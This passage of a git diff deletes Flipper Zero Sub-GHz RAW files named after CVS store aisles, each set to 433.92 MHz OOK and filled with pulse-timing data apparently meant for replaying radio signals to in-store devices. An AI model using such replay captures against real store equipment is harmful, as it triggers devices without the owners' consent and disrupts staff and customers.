-736 1592 -736 1552 -740 1584 -740 1552 -740 1588 -1500 792 -736 1592 -1500 784 -736 1584 -1500 788 -1500 828 -1500 784 -1504 828 -1504 780 -736 1584 -1504 784 -1504 828 -1504 784 -740 1588 -1500 784 -736 1580 -4592 792 -748 1560 -1512 792 -744 1560 -1516 832 -740 1548 -740 1584 -744 1548 -736 1588 -740 1548 -744 1584 -736 1552 -736 1592 -736 1548 -740 1584 -748 1544 -740 1588 -740 1548 -740 1584 -744 1544 -740 1588 -736 1552 -740 1584 -744 1548 -736 1592 -1508 784 -732 1592 -1504 780 -740 1584 -1500 788 -1500 828 -1504 780 -1504 828 -1504 784 -740 1580 -1504 784 -1500 832 -1500 784 -744 1584 -1504 784 -736 1584 -4588 792 -744 1556 -1516 788 -744 1564 -1516 824 -744 1548 -736 1588 -744 1544 -744 1584 -740 1548 -744 1584 -740 1548 -740 1584 -744 1548 -740 1584 -740 1544 -744 1588 -744 1544 -740 1588 -740 1548 -740 1588 -744 1544 -740 1588 -736 1548 -744 1588 -1504 784 -744 1584 -1500 784 -740 1584 -1504 780 -1500 828 -1500 788 -1504 828 -1500 788 -744 1576 -1504 784 -1504 828 -1504 784 -740 1584 -1504 784 -744 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Fourteen.sub b/assets/resources/subghz/Stores/CVS/Aisle_Fourteen.sub deleted file mode 100644 index a49857cff..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Fourteen.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -752 1552 -1516 788 -752 1548 -1524 820 -748 1540 -748 1580 -748 1540 -744 1580 -748 1540 -748 1580 -744 1540 -748 1576 -748 1536 -748 1576 -748 1540 -748 1576 -748 1540 -744 1580 -748 1536 -748 1580 -748 1540 -744 1576 -744 1544 -748 1580 -1512 772 -752 1572 -1508 776 -1512 816 -1508 780 -1504 824 -1508 776 -744 1576 -1508 776 -1508 820 -1508 780 -1504 824 -1508 776 -748 1580 -1508 776 -748 1572 -4592 784 -752 1552 -1520 784 -756 1544 -1524 820 -748 1540 -748 1576 -752 1540 -744 1580 -744 1544 -748 1576 -748 1540 -748 1580 -748 1540 -744 1580 -748 1540 -748 1576 -748 1540 -748 1580 -744 1544 -748 1576 -748 1540 -744 1584 -744 1540 -748 1584 -1508 780 -744 1576 -1508 776 -1512 812 -1512 776 -1508 820 -1508 776 -752 1572 -1508 776 -1512 816 -1508 780 -1504 824 -1508 780 -748 1576 -1512 776 -744 1576 -4592 784 -752 1552 -1516 784 -756 1552 -1516 824 -748 1540 -748 1576 -748 1540 -748 1576 -752 1536 -748 1576 -748 1536 -752 1572 -748 1536 -752 1576 -752 1536 -748 1576 -744 1540 -748 1576 -748 1540 -748 1576 -748 1536 -752 1576 -748 1540 -748 1580 -1508 776 -752 1568 -1512 780 -1508 816 -1512 772 -1516 812 -1512 776 -748 1568 -1512 776 -1512 812 -1512 772 -1512 816 -1516 768 -756 1572 -1520 764 -760 1560 -4608 764 -768 1540 -1532 772 -764 1540 -1532 808 -760 1528 -760 1568 -756 1528 -764 1564 -760 1528 -760 1568 -760 1528 -760 1564 -760 1528 -760 1568 -760 1528 -760 1568 -760 1528 -760 1564 -760 1528 -760 1568 -760 1528 -760 1564 -760 1528 -760 1568 -1524 764 -764 1560 -1524 764 -1520 804 -1524 764 -1520 808 -1524 764 -760 1560 -1524 760 -1524 804 -1520 764 -1524 804 -1524 764 -760 1564 -1520 764 -764 1556 -4612 764 -768 1540 -1536 768 -764 1540 -1536 804 -768 1520 -764 1560 -768 1524 -760 1564 -760 1528 -760 1568 -760 1528 -756 1568 -760 1528 -756 1568 -764 1524 -764 1564 -760 1528 -760 1564 -764 1520 -768 1556 -780 1500 -788 1536 -832 1452 -812 1512 -15844 -RAW_Data: 748 -1532 800 -1524 764 -760 1560 -1528 760 -1524 800 -1528 760 -1524 808 -1524 760 -764 1560 -1524 764 -764 1556 -4604 768 -768 1540 -1536 768 -768 1536 -1536 808 -760 1528 -760 1564 -764 1524 -764 1560 -764 1524 -764 1560 -764 1524 -760 1564 -760 1528 -760 1564 -760 1528 -760 1564 -768 1520 -764 1564 -760 1528 -760 1564 -760 1528 -760 1564 -760 1528 -760 1568 -1524 764 -760 1560 -1520 764 -1524 804 -1520 764 -1524 804 -1524 764 -760 1564 -1520 764 -1524 804 -1520 764 -1524 804 -1524 764 -760 1564 -1524 764 -760 1556 -4604 772 -764 1540 -1536 768 -768 1536 -1536 808 -760 1528 -760 1564 -764 1524 -760 1568 -760 1528 -760 1564 -764 1524 -760 1568 -756 1528 -760 1568 -760 1528 -760 1568 -760 1528 -760 1564 -760 1528 -764 1560 -764 1524 -760 1564 -764 1528 -756 1568 -1528 764 -760 1560 -1524 760 -1524 804 -1524 764 -1524 808 -1520 764 -760 1564 -1520 764 -1524 800 -1528 760 -1524 808 -1520 764 -760 1568 -1524 760 -764 1560 -4604 768 -768 1540 -1532 768 -768 1540 -1532 808 -764 1528 -760 1564 -764 1524 -760 1568 -760 1524 -760 1568 -760 1528 -764 1564 -756 1532 -756 1568 -760 1528 -760 1564 -760 1528 -760 1568 -760 1524 -764 1564 -764 1524 -764 1564 -764 1524 -764 1568 -1520 764 -760 1564 -1520 764 -1524 804 -1520 764 -1524 808 -1520 764 -760 1560 -1524 760 -1524 804 -1520 764 -1524 808 -1520 764 -764 1564 -1520 764 -760 1560 -4604 768 -768 1536 -1536 768 -768 1540 -1532 808 -760 1528 -760 1568 -760 1528 -760 1564 -764 1524 -760 1568 -756 1528 -764 1564 -760 1528 -760 1564 -760 1528 -760 1568 -760 1524 -764 1564 -760 1528 -760 1568 -760 1524 -764 1564 -760 1528 -760 1572 -1524 764 -760 1560 -1524 764 -1520 804 -1524 764 -1520 808 -1520 768 -760 1560 -1520 768 -1520 804 -1524 764 -1520 808 -1524 764 -760 1568 -1524 764 -760 1540 -15724 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Nineteen.sub b/assets/resources/subghz/Stores/CVS/Aisle_Nineteen.sub deleted file mode 100644 index 7b46127d0..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Nineteen.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1556 -1516 788 -744 1564 -1508 832 -740 1548 -744 1584 -740 1548 -736 1588 -740 1548 -740 1584 -740 1548 -740 1580 -744 1548 -744 1584 -740 1544 -744 1584 -744 1544 -744 1584 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -744 1580 -1508 780 -1504 824 -1504 784 -1500 828 -1504 784 -744 1576 -1508 784 -1500 828 -1496 788 -1504 820 -1504 784 -1504 828 -1504 780 -744 1584 -1504 784 -744 1576 -4592 788 -744 1560 -1516 792 -744 1560 -1512 832 -740 1548 -736 1588 -740 1552 -740 1584 -744 1548 -740 1584 -740 1548 -740 1588 -740 1548 -740 1584 -740 1552 -736 1584 -744 1548 -736 1588 -740 1548 -744 1584 -744 1544 -744 1580 -744 1544 -744 1584 -1500 788 -1500 824 -1500 784 -1504 828 -1504 784 -740 1580 -1504 784 -1500 824 -1504 784 -1500 828 -1500 784 -1504 828 -1496 788 -740 1592 -1500 784 -740 1580 -4588 788 -748 1560 -1512 792 -748 1560 -1516 828 -740 1548 -740 1588 -740 1548 -740 1584 -740 1552 -740 1588 -740 1548 -744 1584 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -748 1580 -748 1544 -744 1588 -740 1548 -740 1588 -736 1552 -740 1584 -1504 784 -1504 824 -1504 784 -1504 828 -1504 784 -736 1580 -1508 784 -1500 828 -1496 788 -1504 820 -1504 784 -1504 828 -1500 788 -736 1588 -1508 780 -744 1576 -4592 788 -748 1556 -1520 788 -744 1564 -1516 828 -740 1548 -740 1584 -740 1552 -736 1584 -748 1544 -744 1584 -744 1548 -740 1588 -740 1548 -736 1588 -740 1544 -748 1584 -740 1548 -744 1584 -744 1548 -740 1588 -740 1548 -740 1588 -740 1548 -744 1580 -1508 784 -1504 824 -1500 788 -1504 828 -1500 788 -740 1580 -1504 788 -1504 820 -1504 784 -1504 824 -1500 788 -1504 828 -1504 788 -740 1584 -1500 788 -736 1584 -4588 792 -744 1560 -1516 788 -748 1560 -1520 828 -740 1548 -740 1588 -740 1548 -736 1588 -740 1548 -740 1588 -744 1548 -736 1588 -740 1552 -740 1584 -740 1548 -740 1584 -744 1544 -740 1588 -744 1544 -740 1588 -744 1544 -740 1588 -740 1548 -740 1584 -1504 784 -1504 824 -1504 784 -1504 832 -1500 788 -736 1584 -1504 780 -1508 820 -1508 780 -1504 824 -1500 788 -1496 832 -1508 780 -744 1584 -1504 788 -740 1576 -4592 788 -744 1560 -1516 792 -744 1560 -1516 828 -740 1552 -740 1588 -736 1552 -736 1592 -736 1548 -744 1588 -736 1552 -736 1592 -736 1548 -744 1584 -740 1552 -740 1588 -740 1548 -740 1588 -740 1552 -740 1588 -736 1552 -740 1588 -740 1548 -740 1588 -1500 788 -1500 824 -1504 784 -1500 828 -1500 788 -744 1580 -1504 784 -1504 828 -1496 788 -1504 824 -1504 780 -1508 820 -1512 784 -736 1588 -1504 784 -736 1584 -4588 792 -748 1556 -1516 792 -744 1560 -1512 -RAW_Data: 836 -740 1548 -740 1584 -744 1548 -736 1588 -744 1548 -740 1588 -740 1552 -736 1584 -744 1548 -740 1588 -740 1548 -740 1584 -744 1548 -740 1584 -740 1548 -740 1588 -740 1548 -740 1588 -740 1552 -736 1584 -1508 784 -1500 824 -1504 784 -1504 828 -1508 780 -736 1588 -1500 784 -1508 820 -1500 792 -1500 824 -1504 780 -1508 824 -1504 788 -740 1584 -1500 788 -740 1580 -4588 792 -744 1564 -1512 792 -744 1564 -1516 828 -740 1552 -740 1584 -744 1548 -740 1588 -744 1544 -740 1588 -744 1540 -740 1592 -744 1544 -740 1592 -736 1548 -740 1592 -736 1548 -740 1588 -744 1544 -740 1588 -744 1548 -736 1588 -740 1552 -740 1580 -1508 788 -1500 824 -1504 784 -1504 828 -1500 788 -744 1580 -1504 784 -1504 820 -1504 788 -1500 824 -1504 788 -1504 828 -1504 784 -744 1584 -1504 784 -744 1580 -4588 792 -748 1560 -1516 792 -748 1556 -1520 832 -736 1548 -740 1592 -740 1548 -736 1592 -740 1548 -740 1588 -740 1548 -744 1584 -744 1548 -744 1584 -740 1548 -740 1588 -744 1548 -736 1588 -740 1552 -736 1592 -740 1548 -740 1588 -744 1544 -740 1588 -1500 788 -1504 820 -1504 788 -1504 824 -1504 788 -740 1584 -1500 788 -1500 828 -1504 780 -1504 824 -1500 788 -1500 832 -1504 780 -740 1588 -1508 780 -744 1580 -4588 788 -748 1560 -1516 788 -744 1560 -1520 828 -740 1548 -740 1580 -744 1548 -736 1592 -740 1544 -740 1588 -744 1544 -740 1588 -744 1548 -740 1584 -740 1552 -740 1584 -740 1548 -744 1584 -744 1544 -740 1592 -740 1544 -740 1584 -740 1552 -736 1588 -1500 788 -1504 824 -1500 784 -1508 824 -1500 788 -740 1580 -1504 784 -1500 828 -1500 780 -1504 828 -1500 784 -1500 832 -1500 784 -744 1584 -1504 784 -736 1564 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_One.sub b/assets/resources/subghz/Stores/CVS/Aisle_One.sub deleted file mode 100644 index 391f27edc..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_One.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -748 1556 -1512 788 -748 1556 -1516 828 -740 1548 -740 1584 -744 1544 -744 1576 -744 1548 -744 1580 -740 1548 -736 1592 -740 1544 -744 1580 -744 1544 -744 1584 -740 1544 -744 1580 -744 1544 -740 1584 -744 1544 -740 1588 -740 1548 -740 1580 -1508 780 -1504 828 -1500 780 -748 1580 -1504 784 -740 1580 -1504 780 -1504 824 -1500 788 -740 1576 -1504 784 -1496 832 -1504 780 -740 1584 -1508 780 -736 1580 -4584 792 -744 1560 -1516 788 -748 1556 -1516 828 -736 1548 -744 1584 -740 1548 -740 1584 -744 1540 -744 1580 -744 1544 -744 1580 -744 1544 -740 1584 -744 1544 -740 1584 -744 1544 -744 1584 -740 1548 -740 1584 -740 1544 -744 1584 -740 1548 -740 1588 -1504 780 -1500 828 -1504 784 -744 1580 -1508 784 -740 1576 -1508 784 -1500 828 -1504 780 -748 1576 -1500 788 -1500 832 -1500 784 -744 1584 -1500 784 -744 1576 -4588 784 -752 1556 -1516 788 -748 1560 -1516 828 -740 1548 -740 1588 -736 1552 -736 1588 -744 1544 -740 1584 -744 1544 -744 1584 -740 1544 -744 1584 -744 1540 -748 1580 -744 1544 -744 1580 -748 1540 -748 1580 -744 1548 -736 1588 -740 1552 -736 1584 -1504 784 -1504 824 -1504 784 -744 1580 -1508 776 -744 1580 -1504 784 -1504 828 -1500 788 -740 1580 -1500 788 -1500 828 -1504 780 -744 1584 -1508 780 -744 1580 -4588 788 -748 1556 -1516 788 -748 1556 -1516 828 -736 1552 -740 1584 -744 1544 -744 1580 -744 1544 -744 1584 -740 1544 -748 1580 -744 1548 -740 1580 -744 1548 -740 1588 -736 1552 -740 1588 -740 1548 -740 1588 -736 1548 -744 1584 -744 1544 -744 1584 -1500 784 -1500 832 -1504 784 -736 1588 -1504 784 -740 1580 -1504 784 -1500 828 -1508 780 -744 1580 -1504 780 -1508 824 -1504 784 -744 1580 -1508 780 -744 1576 -4588 792 -744 1560 -1520 788 -748 1560 -1512 832 -740 1548 -740 1584 -748 1544 -744 1580 -748 1540 -748 1580 -744 1548 -744 1584 -736 1556 -740 1584 -740 1548 -744 1584 -744 1540 -748 1584 -740 1544 -748 1580 -744 1544 -744 1588 -740 1548 -740 1584 -1504 784 -1504 828 -1504 784 -740 1584 -1508 780 -740 1580 -1508 784 -1504 828 -1504 784 -744 1576 -1508 780 -1504 832 -1500 780 -748 1580 -1508 784 -740 1580 -4588 788 -748 1560 -1520 788 -748 1560 -1516 824 -744 1544 -744 1584 -744 1544 -744 1584 -744 1548 -740 1588 -736 1552 -744 1584 -744 1544 -744 1584 -744 1544 -744 1580 -748 1544 -744 1580 -744 1544 -744 1588 -740 1548 -740 1588 -740 1548 -744 1580 -1504 784 -1504 828 -1504 784 -736 1592 -1504 780 -748 1580 -1500 788 -1504 824 -1508 784 -740 1580 -1504 788 -1500 828 -1508 780 -740 1588 -1504 784 -740 1576 -4592 788 -752 1556 -1516 788 -748 1556 -1516 -RAW_Data: 828 -744 1544 -744 1584 -744 1544 -744 1580 -744 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -744 1580 -744 1544 -744 1584 -744 1544 -744 1584 -740 1544 -744 1588 -740 1544 -744 1580 -1508 784 -1504 828 -1504 780 -744 1580 -1512 776 -744 1580 -1508 780 -1508 824 -1500 784 -748 1576 -1504 784 -1508 824 -1504 788 -736 1588 -1504 784 -744 1576 -4592 784 -752 1556 -1520 784 -752 1556 -1516 828 -740 1548 -740 1588 -740 1552 -740 1584 -744 1544 -744 1580 -748 1544 -744 1584 -744 1548 -740 1588 -740 1548 -740 1588 -740 1548 -744 1584 -744 1544 -744 1580 -748 1544 -744 1584 -744 1548 -736 1588 -1504 784 -1504 824 -1512 776 -744 1584 -1508 784 -740 1580 -1508 780 -1504 824 -1508 780 -744 1580 -1508 776 -1512 824 -1500 784 -744 1584 -1504 780 -748 1576 -4588 788 -748 1556 -1516 788 -752 1552 -1520 828 -740 1544 -744 1584 -744 1544 -740 1588 -740 1548 -740 1588 -740 1548 -744 1580 -744 1544 -744 1584 -744 1544 -744 1580 -748 1544 -744 1584 -744 1544 -744 1584 -740 1552 -740 1584 -740 1548 -744 1584 -1504 784 -1508 824 -1508 784 -740 1588 -1500 784 -748 1576 -1504 780 -1508 828 -1504 784 -744 1580 -1504 784 -1504 824 -1508 780 -744 1584 -1508 784 -744 1576 -4588 788 -748 1560 -1516 788 -748 1556 -1520 824 -748 1544 -744 1584 -740 1552 -736 1584 -748 1544 -744 1584 -744 1540 -748 1580 -744 1544 -744 1584 -744 1544 -748 1580 -744 1548 -740 1588 -740 1548 -744 1584 -744 1544 -748 1580 -744 1544 -744 1580 -1512 780 -1508 824 -1508 780 -748 1584 -1504 784 -740 1584 -1504 784 -1504 824 -1508 780 -744 1580 -1508 780 -1508 828 -1504 780 -744 1580 -1508 780 -744 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Seven.sub b/assets/resources/subghz/Stores/CVS/Aisle_Seven.sub deleted file mode 100644 index f2a572e81..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Seven.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1560 -1512 792 -748 1552 -1516 828 -736 1548 -740 1588 -744 1544 -740 1584 -740 1544 -744 1584 -740 1548 -740 1584 -740 1544 -744 1580 -744 1548 -744 1584 -736 1544 -744 1584 -744 1544 -740 1588 -740 1548 -740 1584 -740 1548 -740 1584 -1504 780 -1504 824 -1500 780 -1504 824 -1504 784 -1500 824 -1508 780 -1504 820 -1504 784 -1500 828 -1508 784 -740 1584 -1504 780 -740 1584 -1500 784 -1504 824 -4588 784 -752 1560 -1508 796 -744 1560 -1516 828 -740 1544 -748 1580 -744 1544 -740 1588 -736 1552 -740 1584 -744 1544 -740 1592 -740 1544 -744 1580 -740 1548 -744 1584 -744 1544 -736 1584 -744 1548 -740 1588 -744 1544 -740 1584 -740 1544 -744 1584 -1504 784 -1504 820 -1504 780 -1504 820 -1508 780 -1504 820 -1508 780 -1504 824 -1504 784 -1500 828 -1504 780 -744 1584 -1504 780 -740 1580 -1508 780 -1504 820 -4584 788 -748 1556 -1516 788 -752 1552 -1520 820 -744 1548 -744 1580 -744 1540 -744 1584 -740 1548 -740 1584 -740 1552 -740 1580 -740 1548 -744 1584 -736 1552 -740 1584 -744 1544 -740 1588 -744 1544 -740 1584 -744 1544 -740 1584 -744 1548 -740 1584 -1508 780 -1504 820 -1504 788 -1500 824 -1500 784 -1508 824 -1500 784 -1504 820 -1504 784 -1500 832 -1500 784 -744 1584 -1504 788 -736 1584 -1508 784 -1496 828 -4588 788 -748 1556 -1516 792 -748 1556 -1516 832 -736 1552 -744 1584 -744 1544 -740 1588 -740 1548 -740 1584 -744 1548 -744 1580 -744 1548 -740 1584 -740 1548 -744 1580 -740 1548 -744 1584 -740 1548 -744 1588 -736 1548 -744 1584 -740 1548 -744 1584 -1504 780 -1504 824 -1500 788 -1500 824 -1504 784 -1500 820 -1508 780 -1504 820 -1504 784 -1504 828 -1500 784 -744 1584 -1508 780 -740 1584 -1500 788 -1504 820 -4588 788 -752 1556 -1516 788 -748 1556 -1516 832 -736 1548 -744 1580 -744 1552 -740 1580 -744 1548 -736 1588 -744 1544 -744 1588 -736 1552 -744 1580 -744 1548 -740 1584 -744 1544 -744 1584 -740 1548 -740 1592 -736 1548 -744 1580 -748 1540 -748 1580 -1504 784 -1508 816 -1512 780 -1504 824 -1504 780 -1504 824 -1504 784 -1500 824 -1504 784 -1504 828 -1504 780 -748 1584 -1504 784 -736 1584 -1504 784 -1504 824 -4584 788 -748 1564 -1512 788 -744 1564 -1516 828 -740 1544 -748 1584 -736 1552 -740 1588 -736 1548 -740 1588 -736 1548 -744 1584 -744 1544 -744 1584 -740 1548 -740 1584 -744 1548 -744 1584 -740 1548 -736 1588 -744 1544 -744 1584 -744 1544 -740 1584 -1500 788 -1508 820 -1504 784 -1504 816 -1508 780 -1508 820 -1508 784 -1500 824 -1504 784 -1504 828 -1500 788 -744 1580 -1504 784 -740 1584 -1500 784 -1504 824 -4588 788 -748 1556 -1512 792 -748 1560 -1516 -RAW_Data: 828 -740 1552 -736 1584 -744 1548 -744 1580 -744 1548 -740 1580 -744 1548 -744 1580 -744 1548 -744 1584 -740 1548 -740 1592 -740 1540 -744 1588 -740 1552 -736 1588 -740 1544 -744 1584 -740 1548 -744 1584 -1508 780 -1504 824 -1504 784 -1508 820 -1504 784 -1500 824 -1504 784 -1504 824 -1504 784 -1504 828 -1504 780 -744 1584 -1504 784 -740 1584 -1504 784 -1504 820 -4592 792 -748 1556 -1516 792 -744 1564 -1516 828 -740 1548 -744 1580 -744 1548 -744 1580 -744 1548 -736 1588 -740 1548 -740 1584 -744 1544 -744 1588 -744 1544 -740 1588 -744 1544 -740 1588 -740 1544 -740 1592 -744 1544 -744 1584 -744 1544 -744 1584 -1504 784 -1504 816 -1508 784 -1508 820 -1504 784 -1508 820 -1504 784 -1508 820 -1504 784 -1504 832 -1504 784 -740 1588 -1504 784 -740 1584 -1500 784 -1508 820 -4592 792 -744 1560 -1516 792 -744 1560 -1520 832 -736 1552 -740 1584 -744 1548 -744 1584 -740 1548 -740 1588 -744 1544 -748 1584 -740 1552 -740 1588 -740 1548 -740 1588 -744 1544 -744 1584 -740 1552 -740 1584 -740 1552 -744 1584 -744 1544 -744 1580 -1508 780 -1508 820 -1504 788 -1500 824 -1504 784 -1504 820 -1512 780 -1500 828 -1504 780 -1508 824 -1504 780 -744 1588 -1500 784 -740 1584 -1508 780 -1504 820 -4592 784 -752 1556 -1516 788 -744 1560 -1516 832 -736 1552 -740 1584 -744 1544 -740 1588 -736 1548 -744 1584 -744 1548 -740 1584 -740 1548 -744 1584 -740 1548 -744 1584 -740 1548 -736 1588 -736 1548 -740 1588 -748 1544 -744 1584 -736 1552 -736 1588 -1504 788 -1500 824 -1504 784 -1504 820 -1508 780 -1504 824 -1504 776 -1508 824 -1504 784 -1504 828 -1504 780 -740 1584 -1508 780 -740 1580 -1508 780 -1508 800 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Seventeen.sub b/assets/resources/subghz/Stores/CVS/Aisle_Seventeen.sub deleted file mode 100644 index 7220e9bef..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Seventeen.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1552 -1516 784 -748 1556 -1520 824 -744 1540 -748 1576 -748 1540 -744 1584 -740 1544 -744 1580 -744 1544 -740 1588 -740 1544 -744 1580 -748 1544 -744 1576 -748 1544 -744 1580 -744 1544 -744 1580 -748 1540 -744 1580 -748 1540 -744 1580 -1508 780 -1508 824 -1504 780 -744 1580 -1508 780 -740 1580 -1504 784 -1504 824 -1508 776 -1508 820 -1504 780 -1504 828 -1508 776 -748 1580 -1504 784 -740 1576 -4588 784 -756 1548 -1520 788 -748 1552 -1520 824 -748 1540 -748 1580 -744 1540 -748 1580 -748 1540 -744 1584 -744 1544 -744 1580 -744 1548 -740 1584 -748 1540 -744 1584 -740 1544 -748 1580 -748 1544 -740 1584 -748 1540 -748 1576 -748 1544 -744 1580 -1508 780 -1504 828 -1504 780 -748 1580 -1504 784 -740 1580 -1504 784 -1504 824 -1504 780 -1508 816 -1512 776 -1504 828 -1508 780 -744 1584 -1504 780 -740 1580 -4588 788 -748 1556 -1520 784 -752 1552 -1520 824 -748 1540 -748 1584 -740 1544 -744 1580 -748 1544 -740 1584 -744 1540 -748 1580 -744 1540 -748 1580 -748 1540 -740 1588 -740 1544 -744 1584 -748 1544 -740 1580 -748 1540 -748 1580 -740 1548 -744 1580 -1500 788 -1504 824 -1504 784 -740 1580 -1512 776 -744 1580 -1504 780 -1508 816 -1504 788 -1500 824 -1504 780 -1508 824 -1504 780 -744 1584 -1500 784 -744 1572 -4592 784 -748 1556 -1516 788 -748 1556 -1516 828 -744 1544 -740 1588 -736 1548 -744 1584 -744 1544 -744 1584 -740 1544 -744 1588 -744 1544 -744 1584 -740 1548 -744 1584 -744 1544 -736 1588 -744 1544 -744 1584 -740 1548 -740 1580 -748 1548 -740 1584 -1504 780 -1504 828 -1508 780 -748 1576 -1508 784 -740 1580 -1508 780 -1504 824 -1504 784 -1504 824 -1500 784 -1508 824 -1504 784 -740 1584 -1504 784 -744 1576 -4584 792 -748 1560 -1520 784 -752 1556 -1512 832 -744 1544 -744 1584 -740 1548 -740 1584 -744 1544 -740 1592 -736 1552 -740 1588 -744 1544 -740 1584 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -744 1580 -1504 780 -1508 828 -1504 784 -740 1584 -1504 784 -744 1580 -1504 780 -1504 824 -1504 780 -1504 824 -1504 784 -1504 828 -1500 784 -744 1584 -1504 784 -744 1580 -4584 792 -748 1556 -1516 792 -744 1556 -1516 828 -744 1548 -736 1588 -744 1544 -744 1584 -744 1548 -736 1588 -740 1552 -740 1588 -740 1548 -740 1588 -740 1548 -740 1584 -748 1544 -740 1588 -740 1548 -744 1584 -744 1544 -740 1588 -744 1548 -740 1584 -1504 784 -1504 828 -1504 784 -740 1588 -1504 784 -740 1584 -1500 784 -1504 824 -1504 780 -1508 816 -1508 780 -1504 828 -1508 784 -744 1584 -1504 784 -740 1576 -4596 788 -744 1560 -1516 788 -748 1560 -1516 -RAW_Data: 828 -740 1544 -748 1580 -744 1552 -736 1588 -740 1548 -744 1584 -744 1544 -740 1588 -740 1544 -748 1584 -740 1548 -740 1588 -740 1548 -740 1584 -740 1548 -740 1588 -744 1544 -744 1584 -740 1552 -740 1584 -1500 788 -1504 828 -1500 788 -736 1588 -1504 784 -744 1580 -1500 784 -1504 824 -1504 780 -1500 828 -1504 784 -1500 828 -1504 788 -736 1588 -1500 784 -744 1580 -4584 792 -748 1556 -1520 788 -744 1560 -1516 828 -740 1548 -736 1588 -744 1548 -744 1588 -736 1548 -736 1592 -744 1544 -740 1588 -736 1552 -740 1584 -744 1548 -736 1592 -736 1548 -744 1584 -740 1548 -740 1584 -744 1548 -740 1588 -736 1552 -740 1584 -1504 784 -1504 828 -1500 784 -740 1588 -1504 784 -740 1584 -1504 776 -1508 824 -1500 788 -1500 820 -1508 776 -1504 828 -1504 784 -744 1584 -1500 784 -740 1584 -4584 788 -744 1564 -1508 792 -744 1560 -1516 832 -736 1548 -740 1584 -744 1544 -740 1584 -744 1544 -740 1584 -740 1548 -740 1588 -736 1544 -748 1584 -736 1548 -740 1588 -744 1544 -736 1592 -740 1548 -740 1584 -744 1548 -740 1584 -744 1544 -740 1580 -1508 784 -1504 824 -1508 780 -740 1588 -1500 784 -744 1580 -1500 784 -1500 828 -1500 788 -1500 824 -1504 784 -1500 828 -1504 784 -744 1584 -1504 784 -740 1580 -4580 792 -748 1560 -1516 788 -740 1564 -1516 828 -736 1548 -744 1580 -740 1548 -740 1584 -744 1544 -740 1584 -748 1544 -740 1588 -736 1548 -740 1588 -740 1544 -744 1584 -744 1544 -740 1584 -740 1548 -740 1584 -740 1548 -744 1580 -740 1548 -744 1584 -1500 784 -1504 828 -1504 784 -740 1580 -1508 784 -740 1580 -1504 784 -1504 820 -1508 776 -1504 824 -1504 784 -1504 824 -1504 784 -740 1584 -1504 784 -744 1556 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Six.sub b/assets/resources/subghz/Stores/CVS/Aisle_Six.sub deleted file mode 100644 index 71cd80fda..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Six.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1556 -1512 792 -740 1560 -1516 828 -740 1548 -736 1588 -740 1540 -744 1588 -736 1548 -740 1588 -736 1548 -740 1584 -740 1548 -740 1584 -740 1548 -740 1584 -740 1548 -740 1584 -740 1548 -740 1588 -736 1548 -744 1580 -740 1548 -744 1588 -1500 784 -740 1584 -1500 788 -1500 824 -1504 784 -1500 828 -1500 784 -1504 828 -1500 788 -740 1580 -1504 784 -1500 832 -1500 784 -744 1584 -1500 788 -736 1580 -4588 792 -744 1564 -1516 788 -744 1560 -1512 832 -740 1548 -740 1584 -740 1548 -740 1584 -740 1552 -740 1580 -740 1552 -740 1584 -740 1548 -744 1580 -740 1552 -740 1584 -740 1548 -740 1588 -740 1548 -744 1584 -736 1548 -744 1584 -740 1552 -736 1592 -1500 784 -740 1584 -1504 784 -1504 824 -1500 784 -1508 820 -1500 784 -1508 824 -1508 780 -740 1584 -1500 784 -1500 832 -1504 788 -740 1584 -1504 780 -744 1580 -4588 792 -744 1560 -1516 792 -744 1560 -1516 824 -744 1548 -744 1588 -740 1548 -736 1592 -740 1544 -740 1592 -740 1544 -744 1584 -740 1552 -740 1584 -740 1548 -744 1584 -740 1552 -740 1588 -736 1552 -744 1584 -736 1552 -740 1584 -740 1552 -740 1588 -1504 784 -740 1580 -1504 784 -1504 824 -1504 784 -1504 824 -1500 788 -1500 828 -1508 780 -744 1580 -1504 784 -1504 828 -1504 784 -740 1588 -1504 784 -744 1576 -4588 792 -744 1560 -1520 788 -744 1564 -1516 828 -740 1548 -740 1588 -740 1548 -744 1584 -740 1552 -744 1584 -740 1548 -744 1580 -744 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 